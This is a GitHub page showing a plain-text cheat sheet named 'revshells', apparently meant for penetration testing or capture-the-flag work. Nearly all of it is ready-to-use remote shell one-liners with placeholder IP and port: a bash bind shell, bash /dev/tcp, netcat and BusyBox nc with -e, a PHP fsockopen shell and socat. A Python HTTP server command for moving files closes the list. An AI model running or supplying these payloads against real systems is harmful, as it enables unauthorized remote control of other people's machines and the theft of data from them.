-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathrevshells
More file actions
41 lines (29 loc) · 1.46 KB
/
revshells
File metadata and controls
41 lines (29 loc) · 1.46 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
--------------------------------------------------------------
Bash Bind Shell
--------------------------------------------------------------
bash -c 'bash -i >& /dev/tcp/0.0.0.0/<PORT> 0>&1'
--------------------------------------------------------------
Bash Reverse Shell
--------------------------------------------------------------
bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
--------------------------------------------------------------
Netcat Reverse Shell
--------------------------------------------------------------
nc -e /bin/sh <IP> <PORT>
nc -e /bin/bash <IP> <PORT>
--------------------------------------------------------------
Netcat (BusyBox) Reverse Shell
--------------------------------------------------------------
busybox nc <IP> <PORT> -e /bin/bash
--------------------------------------------------------------
PHP Reverse Shell
--------------------------------------------------------------
php -r '$sock=fsockopen("<IP>",<PORT>);exec("/bin/sh -i <&3 >&3 2>&3");'
--------------------------------------------------------------
Socat Reverse Shell
--------------------------------------------------------------
socat tcp-connect:<IP>:<PORT> exec:/bin/bash
--------------------------------------------------------------
File Transfer with Python 3
--------------------------------------------------------------
python3 -m http.server <PORT>